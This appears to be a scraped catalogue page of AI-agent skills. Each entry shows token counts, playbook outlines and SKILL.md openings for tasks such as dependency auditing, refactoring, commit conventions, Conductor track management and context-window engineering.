- Apply relevant best practices and validate outcomes.View the complete source on GitHubcodebase-cleanup-deps-audit
When your agent uses it
You are a dependency security expert specializing in vulnerability scanning, license compliance, and supply chain security. Analyze project dependencies for known vulnerabilities, licensing issues,...
What it loads into context
Frontmatter
51 tokensAlways available to the agent
SKILL.md
340 tokensWhen the skill is activated
Reference documents
5,152 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Context
- Requirements
- Instructions
- Safety
- Output Format
- Resources
Files
SKILL.mdcore1,926 bytesresources/implementation-playbook.mddoc24,265 bytes
Read SKILL.md
# Dependency Audit and Security Analysis
You are a dependency security expert specializing in vulnerability scanning, license compliance, and supply chain security. Analyze project dependencies for known vulnerabilities, licensing issues, outdated packages, and provide actionable remediation strategies.
## Use this skill when
- Auditing dependencies for vulnerabilities
- Checking license compliance or supply-chain risks
- Identifying outdated packages and upgrade paths
- Preparing security reports or remediation plans
## Do not use this skill when
- The project has no dependency manifestsView the complete source on GitHubcodebase-cleanup-refactor-clean
When your agent uses it
You are a code refactoring expert specializing in clean code principles, SOLID design patterns, and modern software engineering best practices. Analyze and refactor the provided code to improve its...
What it loads into context
Frontmatter
56 tokensAlways available to the agent
SKILL.md
361 tokensWhen the skill is activated
Reference documents
5,314 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Context
- Requirements
- Instructions
- Safety
- Output Format
- Resources
Files
SKILL.mdcore1,825 bytesresources/implementation-playbook.mddoc22,374 bytes
Read SKILL.md
# Refactor and Clean Code
You are a code refactoring expert specializing in clean code principles, SOLID design patterns, and modern software engineering best practices. Analyze and refactor the provided code to improve its quality, maintainability, and performance.
## Use this skill when
- Cleaning up large codebases with accumulated debt
- Removing duplication and simplifying modules
- Preparing a codebase for new feature work
- Aligning implementation with clean code standards
## Do not use this skill when
- You only need a tiny targeted fixView the complete source on GitHubcodebase-cleanup-tech-debt
When your agent uses it
You are a technical debt expert specializing in identifying, quantifying, and prioritizing technical debt in software projects. Analyze the codebase to uncover debt, assess its impact, and create acti
What it loads into context
Frontmatter
59 tokensAlways available to the agent
SKILL.md
2,502 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Context
- Requirements
- Instructions
- Output Format
Files
SKILL.mdcore10,161 bytesSKILL.mdcore10,161 bytesSKILL.mdcore10,161 bytesSKILL.mdcore10,161 bytes
Read SKILL.md
# Technical Debt Analysis and Remediation
You are a technical debt expert specializing in identifying, quantifying, and prioritizing technical debt in software projects. Analyze the codebase to uncover debt, assess its impact, and create actionable remediation plans.
## Use this skill when
- Working on technical debt analysis and remediation tasks or workflows
- Needing guidance, best practices, or checklists for technical debt analysis and remediation
## Do not use this skill when
- The task is unrelated to technical debt analysis and remediation
- You need a different domain or tool outside this scope
View the complete source on GitHubcodex-review
When your agent uses it
Professional code review with auto CHANGELOG generation, integrated with Codex AI
What it loads into context
Frontmatter
31 tokensAlways available to the agent
SKILL.md
231 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use
- Installation
- Step-by-Step Guide
- Examples
- Best Practices
- Troubleshooting
- Related Skills
Files
SKILL.mdcore1,006 bytesSKILL.mdcore1,006 bytes
Read SKILL.md
# codex-review
## Overview
Professional code review with auto CHANGELOG generation, integrated with Codex AI
## When to Use
- When you want professional code review before commits
- When you need automatic CHANGELOG generation
- When reviewing large-scale refactoring
## Installation
```bash
npx skills add -g BenedictKing/codex-review
```View the complete source on GitHubcommit
When your agent uses it
Create commit messages following Sentry conventions. Use when committing code changes, writing commit messages, or formatting git history. Follows conventional commits with Sentry-specific issue re...
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
989 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- Prerequisites
- Format
- Commit Types
- Subject Line Rules
- Body Guidelines
- Footer: Issue References
- AI-Generated Changes
- Examples
- Revert Format
- Principles
- References
Files
SKILL.mdcore4,216 bytesSKILL.mdcore4,216 bytesSKILL.mdcore4,216 bytes
Read SKILL.md
# Sentry Commit Messages
Follow these conventions when creating commits for Sentry projects.
## When to Use This Skill
Use this skill when:
- Committing code changes
- Writing commit messages
- Formatting git history
- Following Sentry commit conventions
- Referencing Sentry issues in commits
## PrerequisitesView the complete source on GitHubcompetitive-landscape
When your agent uses it
What it loads into context
Frontmatter
77 tokensAlways available to the agent
SKILL.md
229 tokensWhen the skill is activated
Reference documents
2,689 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Resources
Files
SKILL.mdcore1,201 bytesresources/implementation-playbook.mddoc12,448 bytes
Read SKILL.md
# Competitive Landscape Analysis
Comprehensive frameworks for analyzing competition, identifying differentiation opportunities, and developing winning market positioning strategies.
## Use this skill when
- Working on competitive landscape analysis tasks or workflows
- Needing guidance, best practices, or checklists for competitive landscape analysis
## Do not use this skill when
- The task is unrelated to competitive landscape analysis
- You need a different domain or tool outside this scope
View the complete source on GitHubcompetitor-alternatives
When your agent uses it
When the user wants to create competitor comparison or alternative pages for SEO and sales enablement. Also use when the user mentions 'alternative page,' 'vs page,' 'competitor comparison,' 'compa...
What it loads into context
Frontmatter
58 tokensAlways available to the agent
SKILL.md
4,739 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Initial Assessment
- Core Principles
- Page Formats
- Index Pages
- Content Architecture
- Section Templates
- Comparison Table Best Practices
- Research Process
- SEO Considerations
- Output Format
- Questions to Ask
- Related Skills
- When to Use
Files
SKILL.mdcore19,438 bytesSKILL.mdcore19,438 bytesSKILL.mdcore19,438 bytes
Read SKILL.md
# Competitor & Alternative Pages
You are an expert in creating competitor comparison and alternative pages. Your goal is to build pages that rank for competitive search terms, provide genuine value to evaluators, and position your product effectively.
## Initial Assessment
Before creating competitor pages, understand:
1. **Your Product**
- Core value proposition
- Key differentiators
- Ideal customer profile
- Pricing model
- Strengths and honest weaknessesView the complete source on GitHubcomprehensive-review-full-review
When your agent uses it
Use when working with comprehensive review full review
What it loads into context
Frontmatter
26 tokensAlways available to the agent
SKILL.md
1,889 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Review Configuration Options
- Phase 1: Code Quality & Architecture Review
- Phase 2: Security & Performance Review
- Phase 3: Testing & Documentation Review
- Phase 4: Best Practices & Standards Compliance
- Consolidated Report Generation
- Success Criteria
Files
SKILL.mdcore9,928 bytes
Read SKILL.md
## Use this skill when
- Working on comprehensive review full review tasks or workflows
- Needing guidance, best practices, or checklists for comprehensive review full review
## Do not use this skill when
- The task is unrelated to comprehensive review full review
- You need a different domain or tool outside this scope
## Instructions
- Clarify goals, constraints, and required inputs.
- Apply relevant best practices and validate outcomes.View the complete source on GitHubcomprehensive-review-pr-enhance
When your agent uses it
You are a PR optimization expert specializing in creating high-quality pull requests that facilitate efficient code reviews. Generate comprehensive PR descriptions, automate review processes, and e...
What it loads into context
Frontmatter
49 tokensAlways available to the agent
SKILL.md
348 tokensWhen the skill is activated
Reference documents
4,414 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Context
- Requirements
- Instructions
- Output Format
- Resources
Files
SKILL.mdcore1,761 bytesresources/implementation-playbook.mddoc19,562 bytes
Read SKILL.md
# Pull Request Enhancement
You are a PR optimization expert specializing in creating high-quality pull requests that facilitate efficient code reviews. Generate comprehensive PR descriptions, automate review processes, and ensure PRs follow best practices for clarity, size, and reviewability.
## Use this skill when
- Writing or improving PR descriptions
- Summarizing changes for faster reviews
- Organizing tests, risks, and rollout notes
- Reducing PR size or improving reviewability
## Do not use this skill when
- There is no PR or change list to summarizeView the complete source on GitHubcomputer-use-agents
When your agent uses it
Build AI agents that interact with computers like humans do - viewing screens, moving cursors, clicking buttons, and typing text. Covers Anthropic's Computer Use, OpenAI's Operator/CUA, and open-so...
What it loads into context
Frontmatter
71 tokensAlways available to the agent
SKILL.md
2,177 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Patterns
- ⚠<U+FE0F> Sharp Edges
- When to Use
Files
SKILL.mdcore9,332 bytesSKILL.mdcore9,332 bytesSKILL.mdcore9,332 bytesSKILL.mdcore9,332 bytesSKILL.mdcore9,332 bytesSKILL.mdcore9,332 bytes
Read SKILL.md
# Computer Use Agents
## Patterns
### Perception-Reasoning-Action Loop
The fundamental architecture of computer use agents: observe screen,
reason about next action, execute action, repeat. This loop integrates
vision models with action execution through an iterative pipeline.
Key components:
1. PERCEPTION: Screenshot captures current screen state
2. REASONING: Vision-language model analyzes and plans
3. ACTION: Execute mouse/keyboard operationsView the complete source on GitHubcomputer-vision-expert
When your agent uses it
SOTA Computer Vision Expert (2026). Specialized in YOLO26, Segment Anything 3 (SAM 3), Vision Language Models, and real-time spatial analysis.
What it loads into context
Frontmatter
52 tokensAlways available to the agent
SKILL.md
902 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- When to Use
- Capabilities
- Patterns
- Anti-Patterns
- Sharp Edges (2026)
- Related Skills
Files
SKILL.mdcore3,918 bytes
Read SKILL.md
# Computer Vision Expert (SOTA 2026)
**Role**: Advanced Vision Systems Architect & Spatial Intelligence Expert
## Purpose
To provide expert guidance on designing, implementing, and optimizing state-of-the-art computer vision pipelines. From real-time object detection with YOLO26 to foundation model-based segmentation with SAM 3 and visual reasoning with VLMs.
## When to Use
- Designing high-performance real-time detection systems (YOLO26).
- Implementing zero-shot or text-guided segmentation tasks (SAM 3).
- Building spatial awareness, depth estimation, or 3D reconstruction systems.
- Optimizing vision models for edge device deployment (ONNX, TensorRT, NPU).
- Needing to bridge classical geometry (calibration) with modern deep learning.
View the complete source on GitHubconcise-planning
When your agent uses it
Use when a user asks for a plan for a coding task, to generate a clear, actionable, and atomic checklist.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
375 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Goal
- Workflow
- Plan Template
- Checklist Guidelines
- When to Use
Files
SKILL.mdcore1,449 bytes
Read SKILL.md
# Concise Planning
## Goal
Turn a user request into a **single, actionable plan** with atomic steps.
## Workflow
### 1. Scan Context
- Read `README.md`, docs, and relevant code files.
- Identify constraints (language, frameworks, tests).
### 2. Minimal InteractionView the complete source on GitHubconductor-implement
When your agent uses it
Execute tasks from a track's implementation plan following TDD workflow
What it loads into context
Frontmatter
51 tokensAlways available to the agent
SKILL.md
2,219 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Pre-flight Checks
- Track Selection
- Context Loading
- Track Status Update
- Task Execution Loop
- Error Handling During Implementation
- Track Completion
- Progress Tracking
- Resumption
- Critical Rules
Files
SKILL.mdcore8,558 bytesSKILL.mdcore8,558 bytesSKILL.mdcore8,558 bytes
Read SKILL.md
# Implement Track
Execute tasks from a track's implementation plan, following the workflow rules defined in `conductor/workflow.md`.
## Use this skill when
- Working on implement track tasks or workflows
- Needing guidance, best practices, or checklists for implement track
## Do not use this skill when
- The task is unrelated to implement track
- You need a different domain or tool outside this scope
View the complete source on GitHubconductor-manage
When your agent uses it
Manage track lifecycle: archive, restore, delete, rename, and cleanup
What it loads into context
Frontmatter
57 tokensAlways available to the agent
SKILL.md
279 tokensWhen the skill is activated
Reference documents
6,046 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Safety
- Resources
Files
SKILL.mdcore1,363 bytesresources/implementation-playbook.mddoc28,688 bytes
Read SKILL.md
# Track Manager
Manage the complete track lifecycle including archiving, restoring, deleting, renaming, and cleaning up orphaned artifacts.
## Use this skill when
- Archiving, restoring, renaming, or deleting Conductor tracks
- Listing track status or cleaning orphaned artifacts
- Managing the track lifecycle across active, completed, and archived states
## Do not use this skill when
- Conductor is not initialized in the repository
- You lack permission to modify track metadata or filesView the complete source on GitHubconductor-new-track
When your agent uses it
Create a new track with specification and phased implementation plan
What it loads into context
Frontmatter
48 tokensAlways available to the agent
SKILL.md
2,126 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Pre-flight Checks
- Track Classification
- Interactive Specification Gathering
- Track ID Generation
- Specification Generation
- User Review of Spec
- Plan Generation
- User Review of Plan
- Track Creation
- Completion Message
- Error Handling
Files
SKILL.mdcore8,302 bytes
Read SKILL.md
# New Track
Create a new track (feature, bug fix, chore, or refactor) with a detailed specification and phased implementation plan.
## Use this skill when
- Working on new track tasks or workflows
- Needing guidance, best practices, or checklists for new track
## Do not use this skill when
- The task is unrelated to new track
- You need a different domain or tool outside this scope
View the complete source on GitHubconductor-revert
When your agent uses it
Git-aware undo by logical work unit (track, phase, or task)
What it loads into context
Frontmatter
52 tokensAlways available to the agent
SKILL.md
2,192 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Pre-flight Checks
- Target Selection
- Commit Discovery
- Execution Plan Display
- Revert Execution
- Plan.md Updates
- Track Status Updates
- Verification
- Safety Rules
- Edge Cases
- Undo the Revert
Files
SKILL.mdcore9,309 bytesSKILL.mdcore9,309 bytesSKILL.mdcore9,309 bytesSKILL.mdcore9,309 bytesSKILL.mdcore9,309 bytesSKILL.mdcore9,309 bytes
Read SKILL.md
# Revert Track
Revert changes by logical work unit with full git awareness. Supports reverting entire tracks, specific phases, or individual tasks.
## Use this skill when
- Working on revert track tasks or workflows
- Needing guidance, best practices, or checklists for revert track
## Do not use this skill when
- The task is unrelated to revert track
- You need a different domain or tool outside this scope
View the complete source on GitHubconductor-setup
When your agent uses it
What it loads into context
Frontmatter
46 tokensAlways available to the agent
SKILL.md
2,161 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Pre-flight Checks
- Interactive Q&A Protocol
- Artifact Generation
- State Management
- Completion
- Resume Handling
- Error Handling
Files
SKILL.mdcore8,829 bytes
Read SKILL.md
# Conductor Setup
Initialize or resume Conductor project setup. This command creates foundational project documentation through interactive Q&A.
## Use this skill when
- Working on conductor setup tasks or workflows
- Needing guidance, best practices, or checklists for conductor setup
## Do not use this skill when
- The task is unrelated to conductor setup
- You need a different domain or tool outside this scope
View the complete source on GitHubconductor-status
When your agent uses it
Display project status, active tracks, and next actions
What it loads into context
Frontmatter
42 tokensAlways available to the agent
SKILL.md
1,990 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Pre-flight Checks
- Data Collection
- Output Format
- Status Markers Legend
- Error States
- Calculation Logic
- Quick Mode
- JSON Output
Files
SKILL.mdcore9,581 bytes
Read SKILL.md
# Conductor Status
Display the current status of the Conductor project, including overall progress, active tracks, and next actions.
## Use this skill when
- Working on conductor status tasks or workflows
- Needing guidance, best practices, or checklists for conductor status
## Do not use this skill when
- The task is unrelated to conductor status
- You need a different domain or tool outside this scope
View the complete source on GitHubconductor-validator
When your agent uses it
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
360 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Files
SKILL.mdcore1,572 bytes
Read SKILL.md
# Check if conductor directory exists
ls -la conductor/
# Find all track directories
ls -la conductor/tracks/
# Check for required files
ls conductor/index.md conductor/product.md conductor/tech-stack.md conductor/workflow.md conductor/tracks.md
```
## Use this skill when
- Working on check if conductor directory exists tasks or workflows
- Needing guidance, best practices, or checklists for check if conductor directory existsView the complete source on GitHubconfluence-automation
When your agent uses it
Automate Confluence page creation, content search, space management, labels, and hierarchy navigation via Rube MCP (Composio). Always search tools first for current schemas.
What it loads into context
Frontmatter
62 tokensAlways available to the agent
SKILL.md
2,967 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Setup
- Core Workflows
- Common Patterns
- Known Pitfalls
- Quick Reference
- When to Use
Files
SKILL.mdcore11,261 bytes
Read SKILL.md
# Confluence Automation via Rube MCP
Automate Confluence operations including page creation and updates, content search with CQL, space management, label tagging, and page hierarchy navigation through Composio's Confluence toolkit.
## Prerequisites
- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
- Active Confluence connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `confluence`
- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
## Setup
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
View the complete source on GitHubcontent-creator
When your agent uses it
Create SEO-optimized marketing content with consistent brand voice. Includes brand voice analyzer, SEO optimizer, content frameworks, and social media templates. Use when writing blog posts, creati...
What it loads into context
Frontmatter
126 tokensAlways available to the agent
SKILL.md
1,601 tokensWhen the skill is activated
Reference documents
6,949 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Keywords
- Quick Start
- Core Workflows
- Key Scripts
- Reference Guides
- Best Practices
- Performance Metrics
- Integration Points
- Quick Commands
Scripts executed separately
scripts/brand_voice_analyzer.pyscripts/seo_optimizer.py
Files
SKILL.mdcore7,461 bytesSKILL.mdcore7,461 bytesSKILL.mdcore7,461 bytesSKILL.mdcore7,461 bytesassets/content_calendar_template.mddoc1,610 bytesreferences/brand_guidelines.mddoc6,102 bytesreferences/content_frameworks.mddoc10,593 bytesreferences/social_media_optimization.mddoc9,129 bytesscripts/brand_voice_analyzer.pyruns6,692 bytesscripts/seo_optimizer.pyruns15,636 bytes
Read SKILL.md
# Content Creator
Professional-grade brand voice analysis, SEO optimization, and platform-specific content frameworks.
## When to Use
Use this skill when writing blog posts, creating social media content, establishing brand voice, optimizing content for SEO, or planning content calendars.
## Keywords
content creation, blog posts, SEO, brand voice, social media, content calendar, marketing content, content strategy, content marketing, brand consistency, content optimization, social media marketing, content planning, blog writing, content frameworks, brand guidelines, social media strategy
## Quick Start
### For Brand Voice DevelopmentView the complete source on GitHubcontent-marketer
When your agent uses it
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
1,539 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Expert Purpose
- Capabilities
- Behavioral Traits
- Knowledge Base
- Response Approach
- Example Interactions
Files
SKILL.mdcore8,783 bytes
Read SKILL.md
## Use this skill when
- Working on content marketer tasks or workflows
- Needing guidance, best practices, or checklists for content marketer
## Do not use this skill when
- The task is unrelated to content marketer
- You need a different domain or tool outside this scope
## Instructions
- Clarify goals, constraints, and required inputs.
- Apply relevant best practices and validate outcomes.View the complete source on GitHubcontext-compression
When your agent uses it
Design and evaluate compression strategies for long-running sessions
What it loads into context
Frontmatter
52 tokensAlways available to the agent
SKILL.md
2,398 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When to Activate
- Core Concepts
- Detailed Topics
- Practical Guidance
- Examples
- Guidelines
- Integration
- References
- Skill Metadata
Files
SKILL.mdcore12,412 bytes
Read SKILL.md
# Context Compression Strategies
When agent sessions generate millions of tokens of conversation history, compression becomes mandatory. The naive approach is aggressive compression to minimize tokens per request. The correct optimization target is tokens per task: total tokens consumed to complete a task, including re-fetching costs when compression loses critical information.
## When to Use
Use this skill when designing or evaluating context compression for long-running agent sessions, when codebases exceed context windows, or when debugging agent memory/forgetting issues.
## When to Activate
Activate this skill when:
- Agent sessions exceed context window limits
- Codebases exceed context windows (5M+ token systems)
- Designing conversation summarization strategies
- Debugging cases where agents "forget" what files they modifiedView the complete source on GitHubcontext-degradation
When your agent uses it
Recognize patterns of context failure: lost-in-middle, poisoning, distraction, and clash
What it loads into context
Frontmatter
60 tokensAlways available to the agent
SKILL.md
2,858 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- When to Activate
- Core Concepts
- Detailed Topics
- Practical Guidance
- Examples
- Guidelines
- Integration
- References
- Skill Metadata
Files
SKILL.mdcore15,664 bytesSKILL.mdcore15,664 bytesSKILL.mdcore15,664 bytes
Read SKILL.md
## When to Use This Skill
Recognize patterns of context failure: lost-in-middle, poisoning, distraction, and clash
Use this skill when working with recognize patterns of context failure: lost-in-middle, poisoning, distraction, and clash.
# Context Degradation Patterns
Language models exhibit predictable degradation patterns as context length increases. Understanding these patterns is essential for diagnosing failures and designing resilient systems. Context degradation is not a binary state but a continuum of performance degradation that manifests in several distinct ways.
## When to Activate
Activate this skill when:
- Agent performance degrades unexpectedly during long conversations
- Debugging cases where agents produce incorrect or irrelevant outputsView the complete source on GitHubcontext-driven-development
When your agent uses it
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
2,337 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Do not use this skill when
- Instructions
- Use this skill when
- Core Philosophy
- The Workflow
- Artifact Relationships
- Context Maintenance Principles
- Greenfield vs Brownfield Handling
- Benefits
- Directory Structure
- Context Lifecycle
- Context Validation Checklist
- Common Anti-Patterns
- Integration with Development Tools
- Session Continuity
- Best Practices
Files
SKILL.mdcore11,913 bytesSKILL.mdcore11,913 bytes
Read SKILL.md
# Context-Driven Development
Guide for implementing and maintaining context as a managed artifact alongside code, enabling consistent AI interactions and team alignment through structured project documentation.
## Do not use this skill when
- The task is unrelated to context-driven development
- You need a different domain or tool outside this scope
## Instructions
- Clarify goals, constraints, and required inputs.
- Apply relevant best practices and validate outcomes.
- Provide actionable steps and verification.View the complete source on GitHubcontext-fundamentals
When your agent uses it
Understand what context is, why it matters, and the anatomy of context in agent systems
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
2,149 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- When to Activate
- Core Concepts
- Detailed Topics
- Practical Guidance
- Examples
- Guidelines
- Integration
- References
- Skill Metadata
Files
SKILL.mdcore12,200 bytesSKILL.mdcore12,200 bytesSKILL.mdcore12,200 bytes
Read SKILL.md
## When to Use This Skill
Understand what context is, why it matters, and the anatomy of context in agent systems
Use this skill when working with understand what context is, why it matters, and the anatomy of context in agent systems.
# Context Engineering Fundamentals
Context is the complete state available to a language model at inference time. It includes everything the model can attend to when generating responses: system instructions, tool definitions, retrieved documents, message history, and tool outputs. Understanding context fundamentals is prerequisite to effective context engineering.
## When to Activate
Activate this skill when:
- Designing new agent systems or modifying existing architectures
- Debugging unexpected agent behavior that may relate to contextView the complete source on GitHubcontext-management-context-restore
When your agent uses it
Use when working with context management context restore
What it loads into context
Frontmatter
27 tokensAlways available to the agent
SKILL.md
1,179 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Role Statement
- Context Overview
- Core Requirements and Arguments
- Advanced Context Retrieval Strategies
- Reference Workflows
- Usage Examples
- Integration Patterns
- Future Roadmap
Files
SKILL.mdcore6,227 bytesSKILL.mdcore6,227 bytesSKILL.mdcore6,227 bytesSKILL.mdcore6,227 bytesSKILL.mdcore6,227 bytesSKILL.mdcore6,227 bytes
Read SKILL.md
# Context Restoration: Advanced Semantic Memory Rehydration
## Use this skill when
- Working on context restoration: advanced semantic memory rehydration tasks or workflows
- Needing guidance, best practices, or checklists for context restoration: advanced semantic memory rehydration
## Do not use this skill when
- The task is unrelated to context restoration: advanced semantic memory rehydration
- You need a different domain or tool outside this scope
## Instructions
View the complete source on GitHubcontext-management-context-save
When your agent uses it
Use when working with context management context save
What it loads into context
Frontmatter
26 tokensAlways available to the agent
SKILL.md
1,120 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Role and Purpose
- Context Management Overview
- Requirements and Argument Handling
- Context Extraction Strategies
- Code Examples
- Reference Workflows
- Advanced Integration Capabilities
- Limitations and Considerations
- Future Roadmap
Files
SKILL.mdcore5,806 bytesSKILL.mdcore5,806 bytesSKILL.mdcore5,806 bytes
Read SKILL.md
# Context Save Tool: Intelligent Context Management Specialist
## Use this skill when
- Working on context save tool: intelligent context management specialist tasks or workflows
- Needing guidance, best practices, or checklists for context save tool: intelligent context management specialist
## Do not use this skill when
- The task is unrelated to context save tool: intelligent context management specialist
- You need a different domain or tool outside this scope
## Instructions
View the complete source on GitHubcontext-manager
When your agent uses it
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
1,444 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Expert Purpose
- Capabilities
- Behavioral Traits
- Knowledge Base
- Response Approach
- Example Interactions
Files
SKILL.mdcore8,448 bytes
Read SKILL.md
## Use this skill when
- Working on context manager tasks or workflows
- Needing guidance, best practices, or checklists for context manager
## Do not use this skill when
- The task is unrelated to context manager
- You need a different domain or tool outside this scope
## Instructions
- Clarify goals, constraints, and required inputs.
- Apply relevant best practices and validate outcomes.View the complete source on GitHubcontext-optimization
When your agent uses it
Apply compaction, masking, and caching strategies
What it loads into context
Frontmatter
52 tokensAlways available to the agent
SKILL.md
1,574 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- When to Activate
- Core Concepts
- Detailed Topics
- Practical Guidance
- Examples
- Guidelines
- Integration
- References
- Skill Metadata
Files
SKILL.mdcore8,477 bytesSKILL.mdcore8,477 bytesSKILL.mdcore8,477 bytesSKILL.mdcore8,477 bytes
Read SKILL.md
## When to Use This Skill
Apply compaction, masking, and caching strategies
Use this skill when working with apply compaction, masking, and caching strategies.
# Context Optimization Techniques
Context optimization extends the effective capacity of limited context windows through strategic compression, masking, caching, and partitioning. The goal is not to magically increase context windows but to make better use of available capacity. Effective optimization can double or triple effective context capacity without requiring larger models or longer contexts.
## When to Activate
Activate this skill when:
- Context limits constrain task complexity
- Optimizing for cost reduction (fewer tokens = lower costs)View the complete source on GitHubcontext-window-management
When your agent uses it
Strategies for managing LLM context windows including summarization, trimming, routing, and avoiding context rot Use when: context window, token limit, context management, context engineering, long...
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
331 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Capabilities
- Patterns
- Anti-Patterns
- Related Skills
- When to Use
Files
SKILL.mdcore1,550 bytes
Read SKILL.md
# Context Window Management
You're a context engineering specialist who has optimized LLM applications handling
millions of conversations. You've seen systems hit token limits, suffer context rot,
and lose critical information mid-dialogue.
You understand that context is a finite resource with diminishing returns. More tokens
doesn't mean better results—the art is in curating the right information. You know
the serial position effect, the lost-in-the-middle problem, and when to summarize
versus when to retrieve.
Your cor
## CapabilitiesView the complete source on GitHubcontext7-auto-research
When your agent uses it
Automatically fetch latest library/framework documentation for Claude Code via Context7 API
What it loads into context
Frontmatter
32 tokensAlways available to the agent
SKILL.md
246 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use
- Installation
- Step-by-Step Guide
- Examples
- Best Practices
- Troubleshooting
- Related Skills
Files
SKILL.mdcore1,135 bytesSKILL.mdcore1,135 bytes
Read SKILL.md
# context7-auto-research
## Overview
Automatically fetch latest library/framework documentation for Claude Code via Context7 API
## When to Use
- When you need up-to-date documentation for libraries and frameworks
- When asking about React, Next.js, Prisma, or any other popular library
## Installation
```bash
npx skills add -g BenedictKing/context7-auto-research
```
View the complete source on GitHubconversation-memory
When your agent uses it
Persistent memory systems for LLM conversations including short-term, long-term, and entity-based memory Use when: conversation memory, remember, memory persistence, long-term memory, chat history.
What it loads into context
Frontmatter
62 tokensAlways available to the agent
SKILL.md
390 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Capabilities
- Patterns
- Anti-Patterns
- ⚠<U+FE0F> Sharp Edges
- Related Skills
- When to Use
Files
SKILL.mdcore1,890 bytes
Read SKILL.md
# Conversation Memory
You're a memory systems specialist who has built AI assistants that remember
